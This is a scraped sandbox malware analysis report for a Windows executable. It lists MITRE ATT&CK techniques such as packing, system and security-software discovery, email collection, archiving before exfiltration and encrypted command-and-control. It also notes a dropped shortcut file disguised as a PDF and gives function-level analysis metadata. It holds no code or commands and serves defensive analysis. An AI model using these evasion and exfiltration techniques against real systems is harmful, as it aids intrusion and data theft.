Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MpkkG8XzhJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\????????? ???? ?? ????????? ??? ? 01.01.24.pdf.lnk

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Statistics

CPU Usage

Memory Usage

System Behavior

Analysis Process: MpkkG8XzhJ.exePID: 4928, Parent PID: 4004

General

Chronological Activities

Disassembly

Analysis Process: MpkkG8XzhJ.exePID: 4928, Parent PID: 4004COMMON

Execution Graph

Graph

Executed Functions

Function 000CF04C Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202filesleeptimeCOMMON

Windows Analysis Report
MpkkG8XzhJ.exe

Function 000CF04C Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202
filesleeptimeCOMMON

Function 000CB6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Function 000BBA94 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Function 000C1B7C Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Function 000CAEE5 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 116
COMMON

Function 000CE607 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Function 000DBB0B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Function 000DBEE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
libraryCOMMONLIBRARYCODE

Function 000BAB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Function 000C2206 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Function 000CC748 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Function 000CBBB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Function 000CBD0B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Function 000CED1E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Function 000D4D92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE